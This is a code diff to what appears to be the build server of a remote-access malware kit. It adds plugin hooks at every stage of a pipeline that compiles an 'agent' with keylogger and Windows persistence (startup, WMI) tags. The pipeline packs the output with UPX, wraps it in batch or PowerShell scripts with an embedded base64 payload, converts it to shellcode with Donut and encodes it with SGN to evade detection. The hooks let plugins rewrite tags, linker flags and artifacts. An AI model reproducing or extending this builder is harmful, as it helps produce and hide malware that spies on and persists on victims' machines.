@@ -384,6 +487,15 @@ export async function startBuildProcess(
|
||||
}, BUILD_STREAM_HEARTBEAT_MS);
|
||||
|
||||
try {
|
||||
for (const item of await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"prepare",
|
||||
{ buildId, config },
|
||||
sendToStream,
|
||||
)) {
|
||||
config = mergeBuildConfigPatch(config, item.result);
|
||||
}
|
||||
|
||||
const serverConfig = getConfig();
|
||||
const buildAgentToken = (serverConfig.auth.agentToken || "").trim();
|
||||
|
||||
@@ -809,10 +921,10 @@ func runBoundFiles() {
|
||||
const namePrefix = config.outputName || "agent";
|
||||
const winExt = config.outputExtension || ".exe";
|
||||
const buildSlug = buildId.substring(0, 8);
|
||||
const friendlyOutputName = deps.sanitizeOutputName(
|
||||
let friendlyOutputName = deps.sanitizeOutputName(
|
||||
platform.includes("windows") ? `${namePrefix}-${platform}${winExt}` : `${namePrefix}-${platform}`,
|
||||
);
|
||||
const outputName = deps.sanitizeOutputName(
|
||||
let outputName = deps.sanitizeOutputName(
|
||||
platform.includes("windows") ? `${namePrefix}-${platform}-${buildSlug}${winExt}` : `${namePrefix}-${platform}-${buildSlug}`,
|
||||
);
|
||||
|
||||
@@ -1084,7 +1196,7 @@ func runBoundFiles() {
|
||||
}
|
||||
|
||||
// Base tags: always present regardless of build pass
|
||||
const baseTags: string[] = [];
|
||||
let baseTags: string[] = [];
|
||||
if (config.noPrinting) baseTags.push("noprint");
|
||||
if (config.disableKeylogger) baseTags.push("nokeylogger");
|
||||
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
|
||||
@@ -1095,7 +1207,7 @@ func runBoundFiles() {
|
||||
if (config.fetchPublicIP) baseTags.push("fetch_public_ip");
|
||||
|
||||
// Windows persistence tags (omitted in shellcode mode — handled by two-pass below)
|
||||
const winPersistTags: string[] = [];
|
||||
let winPersistTags: string[] = [];
|
||||
if (config.enablePersistence && os === "windows" && !isShellcodeMode) {
|
||||
const methods = config.persistenceMethods?.length ? config.persistenceMethods : ["startup"];
|
||||
if (methods.includes("startup")) winPersistTags.push("persist_startup");
|
||||
@@ -1104,6 +1216,73 @@ func runBoundFiles() {
|
||||
if (methods.includes("wmi")) winPersistTags.push("persist_wmi");
|
||||
}
|
||||
|
||||
let skipTarget = false;
|
||||
const targetHookPayload = {
|
||||
buildId,
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
effectiveOs,
|
||||
targetKey,
|
||||
outputName,
|
||||
friendlyOutputName,
|
||||
outputPath: path.join(outDir, outputName),
|
||||
outDir,
|
||||
clientDir,
|
||||
env,
|
||||
ldflags,
|
||||
tags: [...baseTags, ...winPersistTags],
|
||||
baseTags,
|
||||
persistenceTags: winPersistTags,
|
||||
garbleFlags,
|
||||
config,
|
||||
};
|
||||
for (const item of await runBuildHooks(deps.runBuildHookForAll, "target", targetHookPayload, sendToStream)) {
|
||||
if (!isRecord(item.result)) continue;
|
||||
if (item.result.skip === true) {
|
||||
skipTarget = true;
|
||||
}
|
||||
if (isRecord(item.result.env)) {
|
||||
for (const [key, value] of Object.entries(item.result.env)) {
|
||||
if (/^[A-Za-z_][A-Za-z0-9_]*$/.test(key) && value !== null && value !== undefined) {
|
||||
env[key] = String(value);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (typeof item.result.ldflags === "string") {
|
||||
ldflags = item.result.ldflags;
|
||||
}
|
||||
if (typeof item.result.ldflagsAppend === "string" && item.result.ldflagsAppend.trim()) {
|
||||
ldflags = ldflags ? `${ldflags} ${item.result.ldflagsAppend.trim()}` : item.result.ldflagsAppend.trim();
|
||||
}
|
||||
if (Array.isArray(item.result.removeTags)) {
|
||||
const remove = new Set(item.result.removeTags.filter((tag: unknown) => typeof tag === "string"));
|
||||
baseTags = baseTags.filter((tag) => !remove.has(tag));
|
||||
winPersistTags = winPersistTags.filter((tag) => !remove.has(tag));
|
||||
}
|
||||
if (Array.isArray(item.result.tags)) {
|
||||
baseTags = item.result.tags.filter((tag: unknown) => typeof tag === "string" && tag.trim()).map((tag: string) => tag.trim());
|
||||
winPersistTags = [];
|
||||
}
|
||||
if (Array.isArray(item.result.addTags)) {
|
||||
for (const tag of item.result.addTags) {
|
||||
if (typeof tag === "string" && tag.trim() && !baseTags.includes(tag.trim())) {
|
||||
baseTags.push(tag.trim());
|
||||
}
|
||||
}
|
||||
}
|
||||
if (typeof item.result.outputName === "string" && item.result.outputName.trim()) {
|
||||
outputName = deps.sanitizeOutputName(item.result.outputName.trim());
|
||||
}
|
||||
if (typeof item.result.friendlyOutputName === "string" && item.result.friendlyOutputName.trim()) {
|
||||
friendlyOutputName = deps.sanitizeOutputName(item.result.friendlyOutputName.trim());
|
||||
}
|
||||
}
|
||||
if (skipTarget) {
|
||||
sendToStream({ type: "output", text: `Skipping ${platform}; requested by server plugin hook.\n`, level: "warn" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const runBuild = async (tags: string[], outputPath: string) => {
|
||||
const buildArgs: string[] = [];
|
||||
if (tags.length > 0) buildArgs.push("-tags", tags.join(" "));
|
||||
@@ -1159,12 +1338,51 @@ func runBoundFiles() {
|
||||
|
||||
const filePath = `${outDir}/${outputName}`;
|
||||
let finalSize = Bun.file(filePath).size;
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"post_build",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "post_build",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: outputName,
|
||||
filePath,
|
||||
size: finalSize,
|
||||
config,
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
// For script outputs: go build writes a PE binary; UPX must run first (it needs PE format),
|
||||
// then after compression we wrap it in a script with an embedded base64 payload.
|
||||
const isBatchWrapper = os === "windows" && (winExt === ".bat" || winExt === ".cmd");
|
||||
const isPowerShellWrapper = os === "windows" && winExt === ".ps1";
|
||||
|
||||
if (upxBin) {
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"before_upx",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "before_upx",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: outputName,
|
||||
filePath,
|
||||
size: finalSize,
|
||||
config,
|
||||
extra: { upxBin },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
sendToStream({ type: "output", text: `Compressing ${outputName} with UPX...\n`, level: "info" });
|
||||
const originalSize = finalSize;
|
||||
try {
|
||||
@@ -1190,9 +1408,49 @@ func runBoundFiles() {
|
||||
} catch (upxErr: any) {
|
||||
sendToStream({ type: "output", text: `WARNING: UPX failed: ${upxErr.message || upxErr}\n`, level: "warn" });
|
||||
}
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"after_upx",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "after_upx",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: outputName,
|
||||
filePath,
|
||||
size: finalSize,
|
||||
config,
|
||||
extra: { upxBin, originalSize },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
}
|
||||
|
||||
if (isBatchWrapper || isPowerShellWrapper) {
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"before_script_wrapper",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "before_script_wrapper",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: outputName,
|
||||
filePath,
|
||||
size: finalSize,
|
||||
config,
|
||||
extra: { extension: winExt },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
sendToStream({ type: "output", text: `Wrapping PE binary as ${winExt} script...\n`, level: "info" });
|
||||
try {
|
||||
const exeBytes = fs.readFileSync(filePath);
|
||||
@@ -1252,10 +1510,49 @@ func runBoundFiles() {
|
||||
} catch (wrapErr: any) {
|
||||
sendToStream({ type: "output", text: `WARNING: Failed to generate ${winExt} wrapper: ${wrapErr.message || wrapErr}. Output is a raw PE binary with ${winExt} extension.\n`, level: "warn" });
|
||||
}
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"after_script_wrapper",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "after_script_wrapper",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: outputName,
|
||||
filePath,
|
||||
size: finalSize,
|
||||
config,
|
||||
extra: { extension: winExt },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
}
|
||||
|
||||
// ── IPA packaging for iOS targets ──────────────────────────────────────
|
||||
if (os === "ios") {
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"before_ipa",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "before_ipa",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: outputName,
|
||||
filePath,
|
||||
size: finalSize,
|
||||
config,
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
sendToStream({ type: "output", text: `Packaging ${outputName} as IPA...\n`, level: "info" });
|
||||
try {
|
||||
const appName = config.outputName || "Agent";
|
||||
@@ -1355,6 +1652,27 @@ func runBoundFiles() {
|
||||
// Clean up temp dirs
|
||||
fs.rmSync(ipaWorkDir, { recursive: true, force: true });
|
||||
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"after_ipa",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "after_ipa",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: ipaOutputName,
|
||||
filePath: ipaPath,
|
||||
size: finalSize,
|
||||
config,
|
||||
extra: { inputFilename: outputName },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
|
||||
// Push IPA file entry instead of raw binary
|
||||
(build.files as any[]).push({
|
||||
name: ipaOutputName.replace(`-${buildSlug}`, ""),
|
||||
@@ -1387,6 +1705,26 @@ func runBoundFiles() {
|
||||
const scOutputName = deps.sanitizeOutputName(outputName.replace(/\.[^.]+$/, ".bin"));
|
||||
const binPath = path.join(outDir, scOutputName);
|
||||
const donutArch = (actualArch === "386" ? "386" : "amd64") as "386" | "amd64";
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"before_donut",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "before_donut",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: finalOutputName,
|
||||
filePath,
|
||||
size: finalOutputSize,
|
||||
config,
|
||||
extra: { outputFilename: scOutputName, outputPath: binPath, donutArch },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
const ok = await runDonut(filePath, binPath, donutArch, sendToStream);
|
||||
if (!ok) throw new Error(`Donut shellcode conversion failed for ${platform}`);
|
||||
try { fs.unlinkSync(filePath); } catch {}
|
||||
@@ -1394,6 +1732,26 @@ func runBoundFiles() {
|
||||
finalOutputSize = Bun.file(binPath).size;
|
||||
shellcodeBinPath = binPath;
|
||||
shellcodeArch = donutArch;
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"after_donut",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "after_donut",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: finalOutputName,
|
||||
filePath: binPath,
|
||||
size: finalOutputSize,
|
||||
config,
|
||||
extra: { inputFilename: outputName, donutArch },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
|
||||
}
|
||||
|
||||
@@ -1403,6 +1761,26 @@ func runBoundFiles() {
|
||||
sendToStream({ type: "output", text: `\nWrapping ELF with Linux shellcode stub...\n`, level: "info" });
|
||||
const scOutputName = deps.sanitizeOutputName(outputName + ".bin");
|
||||
const binPath = path.join(outDir, scOutputName);
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"before_linux_shellcode",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "before_linux_shellcode",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: finalOutputName,
|
||||
filePath,
|
||||
size: finalOutputSize,
|
||||
config,
|
||||
extra: { outputFilename: scOutputName, outputPath: binPath },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
const ok = buildLinuxShellcode(filePath, binPath, sendToStream);
|
||||
if (!ok) throw new Error(`Linux shellcode wrap failed for ${platform}`);
|
||||
try { fs.unlinkSync(filePath); } catch {}
|
||||
@@ -1410,6 +1788,26 @@ func runBoundFiles() {
|
||||
finalOutputSize = Bun.file(binPath).size;
|
||||
shellcodeBinPath = binPath;
|
||||
shellcodeArch = "amd64";
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"after_linux_shellcode",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "after_linux_shellcode",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: finalOutputName,
|
||||
filePath: binPath,
|
||||
size: finalOutputSize,
|
||||
config,
|
||||
extra: { inputFilename: outputName },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
|
||||
}
|
||||
|
||||
@@ -1419,27 +1817,172 @@ func runBoundFiles() {
|
||||
sendToStream({ type: "output", text: `\nEncoding shellcode with SGN (${iters} iteration${iters === 1 ? "" : "s"})...\n`, level: "info" });
|
||||
const sgnOutputName = deps.sanitizeOutputName(finalOutputName + ".sgn");
|
||||
const sgnOutputPath = path.join(outDir, sgnOutputName);
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"before_sgn",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "before_sgn",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: finalOutputName,
|
||||
filePath: shellcodeBinPath,
|
||||
size: finalOutputSize,
|
||||
config,
|
||||
extra: { outputFilename: sgnOutputName, outputPath: sgnOutputPath, shellcodeArch, iterations: iters },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
const ok = await runSgn(shellcodeBinPath, sgnOutputPath, shellcodeArch, iters, sendToStream);
|
||||
if (!ok) throw new Error(`SGN encoding failed for ${platform}`);
|
||||
try { fs.unlinkSync(shellcodeBinPath); } catch {}
|
||||
finalOutputName = sgnOutputName;
|
||||
finalOutputSize = Bun.file(sgnOutputPath).size;
|
||||
shellcodeBinPath = sgnOutputPath;
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"after_sgn",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "after_sgn",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: finalOutputName,
|
||||
filePath: sgnOutputPath,
|
||||
size: finalOutputSize,
|
||||
config,
|
||||
extra: { shellcodeArch, iterations: iters },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
sendToStream({ type: "output", text: `SGN-encoded shellcode: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
|
||||
|
||||
if (config.outputSgnTxt) {
|
||||
sendToStream({ type: "status", text: `Writing ${platform} SGN output as TXT…` });
|
||||
const txtOutputName = deps.sanitizeOutputName(`${finalOutputName}.txt`);
|
||||
const txtOutputPath = path.join(outDir, txtOutputName);
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"before_sgn_txt",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "before_sgn_txt",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: finalOutputName,
|
||||
filePath: sgnOutputPath,
|
||||
size: finalOutputSize,
|
||||
config,
|
||||
extra: { outputFilename: txtOutputName, outputPath: txtOutputPath, shellcodeArch, iterations: iters },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
const txtSize = writeSgnTextArtifact(sgnOutputPath, txtOutputPath, platform, shellcodeArch, iters);
|
||||
try { fs.unlinkSync(sgnOutputPath); } catch {}
|
||||
finalOutputName = txtOutputName;
|
||||
finalOutputSize = txtSize;
|
||||
shellcodeBinPath = txtOutputPath;
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"after_sgn_txt",
|
||||
buildTransformHookPayload({
|
||||
buildId,
|
||||
stage: "after_sgn_txt",
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
filename: finalOutputName,
|
||||
filePath: txtOutputPath,
|
||||
size: finalOutputSize,
|
||||
config,
|
||||
extra: { shellcodeArch, iterations: iters },
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
sendToStream({ type: "output", text: `SGN TXT ready: ${txtSize} bytes → ${finalOutputName}\n`, level: "success" });
|
||||
}
|
||||
}
|
||||
|
||||
const extraArtifactFiles: any[] = [];
|
||||
const artifactHookPayload = {
|
||||
buildId,
|
||||
platform,
|
||||
os,
|
||||
arch: actualArch,
|
||||
targetKey,
|
||||
outDir,
|
||||
clientDir,
|
||||
file: {
|
||||
name: finalOutputName.replace(`-${buildSlug}`, ""),
|
||||
filename: finalOutputName,
|
||||
path: path.join(outDir, finalOutputName),
|
||||
platform,
|
||||
version: agentVersion,
|
||||
size: finalOutputSize,
|
||||
},
|
||||
files: cloneForHook(build.files),
|
||||
config,
|
||||
};
|
||||
for (const item of await runBuildHooks(deps.runBuildHookForAll, "artifact", artifactHookPayload, sendToStream)) {
|
||||
if (!isRecord(item.result)) continue;
|
||||
const replacement = isRecord(item.result.file) ? item.result.file : item.result;
|
||||
if (typeof replacement.filename === "string" && replacement.filename.trim()) {
|
||||
const safeFilename = deps.sanitizeOutputName(path.basename(replacement.filename.trim()));
|
||||
const candidatePath = resolveContainedPath(outDir, safeFilename);
|
||||
if (fs.existsSync(candidatePath)) {
|
||||
finalOutputName = safeFilename;
|
||||
finalOutputSize = fs.statSync(candidatePath).size;
|
||||
} else {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `[plugin:${item.pluginId}] WARNING: artifact hook returned missing file ${safeFilename}; keeping ${finalOutputName}\n`,
|
||||
level: "warn",
|
||||
});
|
||||
}
|
||||
}
|
||||
if (typeof replacement.size === "number" && Number.isFinite(replacement.size) && replacement.size >= 0) {
|
||||
finalOutputSize = Math.floor(replacement.size);
|
||||
}
|
||||
if (Array.isArray(item.result.files)) {
|
||||
for (const f of item.result.files) {
|
||||
if (!isRecord(f) || typeof f.filename !== "string" || !f.filename.trim()) continue;
|
||||
const safeFilename = deps.sanitizeOutputName(path.basename(f.filename.trim()));
|
||||
const candidatePath = resolveContainedPath(outDir, safeFilename);
|
||||
if (!fs.existsSync(candidatePath)) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `[plugin:${item.pluginId}] WARNING: extra artifact not found: ${safeFilename}\n`,
|
||||
level: "warn",
|
||||
});
|
||||
continue;
|
||||
}
|
||||
const stat = fs.statSync(candidatePath);
|
||||
extraArtifactFiles.push({
|
||||
name: typeof f.name === "string" && f.name.trim() ? f.name.trim() : safeFilename,
|
||||
filename: safeFilename,
|
||||
platform: typeof f.platform === "string" ? f.platform : platform,
|
||||
version: typeof f.version === "string" ? f.version : agentVersion,
|
||||
size: stat.size,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
(build.files as any[]).push({
|
||||
name: finalOutputName.replace(`-${buildSlug}`, ""),
|
||||
filename: finalOutputName,
|
||||
@@ -1447,6 +1990,7 @@ func runBoundFiles() {
|
||||
version: agentVersion,
|
||||
size: finalOutputSize,
|
||||
});
|
||||
(build.files as any[]).push(...extraArtifactFiles);
|
||||
} catch (err: any) {
|
||||
const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`;
|
||||
logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg.trim()}`);
|
||||
@@ -1483,6 +2027,21 @@ func runBoundFiles() {
|
||||
});
|
||||
}
|
||||
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"complete",
|
||||
{
|
||||
buildId,
|
||||
status: build.status,
|
||||
files: build.files,
|
||||
outputDir: outDir,
|
||||
expiresAt: build.expiresAt,
|
||||
userId: config.builtByUserId,
|
||||
config,
|
||||
},
|
||||
sendToStream,
|
||||
);
|
||||
|
||||
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
|
||||
|
||||
saveBuild({
|
||||
@@ -1502,6 +2061,23 @@ func runBoundFiles() {
|
||||
} catch (err: any) {
|
||||
build.status = "failed";
|
||||
logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
|
||||
try {
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"failed",
|
||||
{
|
||||
buildId,
|
||||
status: build.status,
|
||||
error: err?.message || String(err),
|
||||
files: build.files,
|
||||
userId: config.builtByUserId,
|
||||
config,
|
||||
},
|
||||
sendToStream,
|
||||
);
|
||||
} catch (hookErr) {
|
||||
logger.warn(`[build:${buildId.substring(0, 8)}] failed hook error:`, hookErr);
|
||||
}
|
||||
sendToStream({ type: "error", error: err.message || String(err) });
|
||||
sendToStream({ type: "complete", success: false, buildId });
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@ type Subscriber = {
|
||||
close: () => void;
|
||||
};
|
||||
|
||||
type PendingRpc = {
|
||||
type PendingCall = {
|
||||
resolve: (value: unknown) => void;
|
||||
reject: (err: Error) => void;
|
||||
timer: ReturnType<typeof setTimeout>;
|
||||
@@ -24,12 +24,14 @@ type PluginInstance = {
|
||||
resolveReady: () => void;
|
||||
rejectReady: (err: Error) => void;
|
||||
isReady: boolean;
|
||||
pending: Map<string, PendingRpc>;
|
||||
pending: Map<string, PendingCall>;
|
||||
pendingBuildHooks: Map<string, PendingCall>;
|
||||
subscribers: Set<Subscriber>;
|
||||
startedAt: number;
|
||||
};
|
||||
|
||||
const RPC_TIMEOUT_MS = 30_000;
|
||||
const BUILD_HOOK_TIMEOUT_MS = 5 * 60_000;
|
||||
const SHUTDOWN_GRACE_MS = 750;
|
||||
|
||||
export type PluginRuntime = {
|
||||
@@ -48,6 +50,8 @@ export type PluginRuntime = {
|
||||
params: unknown,
|
||||
caller: PluginRpcCaller,
|
||||
) => Promise<unknown>;
|
||||
runBuildHook: (pluginId: string, hook: string, payload: unknown) => Promise<unknown>;
|
||||
runBuildHookForAll: (hook: string, payload: unknown) => Promise<Array<{ pluginId: string; result: unknown }>>;
|
||||
subscribe: (
|
||||
pluginId: string,
|
||||
send: (sse: string) => void,
|
||||
@@ -55,6 +59,7 @@ export type PluginRuntime = {
|
||||
) => (() => void) | null;
|
||||
isRunning: (pluginId: string) => boolean;
|
||||
hasServerCode: (pluginId: string) => boolean;
|
||||
runningPluginIds: () => string[];
|
||||
shutdownAll: () => Promise<void>;
|
||||
};
|
||||
|
||||
@@ -105,6 +110,7 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
||||
rejectReady,
|
||||
isReady: false,
|
||||
pending: new Map(),
|
||||
pendingBuildHooks: new Map(),
|
||||
subscribers: new Set(),
|
||||
startedAt: Date.now(),
|
||||
};
|
||||
@@ -161,6 +167,11 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
||||
pending.reject(new Error("Plugin runtime stopped"));
|
||||
}
|
||||
inst.pending.clear();
|
||||
for (const pending of inst.pendingBuildHooks.values()) {
|
||||
clearTimeout(pending.timer);
|
||||
pending.reject(new Error("Plugin runtime stopped"));
|
||||
}
|
||||
inst.pendingBuildHooks.clear();
|
||||
|
||||
try {
|
||||
const shutdownMsg: WorkerInbound = { type: "shutdown" };
|
||||
@@ -237,6 +248,50 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
||||
return inst.isReady ? callOnReady() : inst.ready.then(callOnReady);
|
||||
}
|
||||
|
||||
function runBuildHook(
|
||||
pluginId: string,
|
||||
hook: string,
|
||||
payload: unknown,
|
||||
): Promise<unknown> {
|
||||
const inst = instances.get(pluginId);
|
||||
if (!inst) {
|
||||
return Promise.reject(new Error("Plugin runtime not running"));
|
||||
}
|
||||
const callOnReady = () =>
|
||||
new Promise((resolve, reject) => {
|
||||
const id = uuidv4();
|
||||
const timer = setTimeout(() => {
|
||||
if (inst.pendingBuildHooks.delete(id)) {
|
||||
reject(new Error(`Build hook timeout: ${hook}`));
|
||||
}
|
||||
}, BUILD_HOOK_TIMEOUT_MS);
|
||||
inst.pendingBuildHooks.set(id, { resolve, reject, timer });
|
||||
const msg: WorkerInbound = { type: "build_hook", id, hook, payload };
|
||||
try {
|
||||
inst.worker.postMessage(msg);
|
||||
} catch (err) {
|
||||
clearTimeout(timer);
|
||||
inst.pendingBuildHooks.delete(id);
|
||||
reject(err instanceof Error ? err : new Error(String(err)));
|
||||
}
|
||||
});
|
||||
return inst.isReady ? callOnReady() : inst.ready.then(callOnReady);
|
||||
}
|
||||
|
||||
async function runBuildHookForAll(
|
||||
hook: string,
|
||||
payload: unknown,
|
||||
): Promise<Array<{ pluginId: string; result: unknown }>> {
|
||||
const results: Array<{ pluginId: string; result: unknown }> = [];
|
||||
for (const pluginId of runningPluginIds()) {
|
||||
const result = await runBuildHook(pluginId, hook, payload);
|
||||
if (result !== null && result !== undefined) {
|
||||
results.push({ pluginId, result });
|
||||
}
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
function subscribe(
|
||||
pluginId: string,
|
||||
send: (sse: string) => void,
|
||||
@@ -270,6 +325,15 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
||||
else pending.reject(new Error(msg.error));
|
||||
return;
|
||||
}
|
||||
if (msg.type === "build_hook_reply") {
|
||||
const pending = inst.pendingBuildHooks.get(msg.id);
|
||||
if (!pending) return;
|
||||
clearTimeout(pending.timer);
|
||||
inst.pendingBuildHooks.delete(msg.id);
|
||||
if (msg.ok) pending.resolve(msg.result);
|
||||
else pending.reject(new Error(msg.error));
|
||||
return;
|
||||
}
|
||||
if (msg.type === "broadcast") {
|
||||
const safeChannel = String(msg.channel || "message").replace(/[\r\n]/g, "");
|
||||
const dataLine = JSON.stringify(msg.data ?? null);
|
||||
@@ -293,15 +357,22 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
||||
await Promise.all(ids.map((id) => stopPlugin(id)));
|
||||
}
|
||||
|
||||
function runningPluginIds(): string[] {
|
||||
return Array.from(instances.keys()).sort();
|
||||
}
|
||||
|
||||
return {
|
||||
startPlugin,
|
||||
stopPlugin,
|
||||
restartPlugin,
|
||||
dispatchClientEvent,
|
||||
rpc,
|
||||
runBuildHook,
|
||||
runBuildHookForAll,
|
||||
subscribe,
|
||||
isRunning,
|
||||
hasServerCode,
|
||||
runningPluginIds,
|
||||
shutdownAll,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -24,6 +24,12 @@ export type WorkerInbound =
|
||||
params: unknown;
|
||||
caller: PluginRpcCaller;
|
||||
}
|
||||
| {
|
||||
type: "build_hook";
|
||||
id: string;
|
||||
hook: string;
|
||||
payload: unknown;
|
||||
}
|
||||
| {
|
||||
type: "shutdown";
|
||||
};
|
||||
@@ -33,5 +39,7 @@ export type WorkerOutbound =
|
||||
| { type: "boot_error"; error: string }
|
||||
| { type: "rpc_reply"; id: string; ok: true; result: unknown }
|
||||
| { type: "rpc_reply"; id: string; ok: false; error: string }
|
||||
| { type: "build_hook_reply"; id: string; ok: true; result: unknown }
|
||||
| { type: "build_hook_reply"; id: string; ok: false; error: string }
|
||||
| { type: "broadcast"; channel: string; data: unknown }
|
||||
| { type: "log"; level: "debug" | "info" | "warn" | "error"; message: string };
|
||||
|
||||
@@ -12,6 +12,27 @@ type PluginExports = {
|
||||
setup?: (ctx: PluginContext) => unknown | Promise<unknown>;
|
||||
onEvent?: (ctx: PluginContext, clientId: string, event: string, payload: unknown) => unknown | Promise<unknown>;
|
||||
rpc?: Record<string, (ctx: PluginContext, params: unknown, meta: { caller: { id: number; role: string } }) => unknown | Promise<unknown>>;
|
||||
buildHooks?: Record<string, (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>>;
|
||||
onBuildPrepare?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildTarget?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildPostBuild?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildBeforeUpx?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
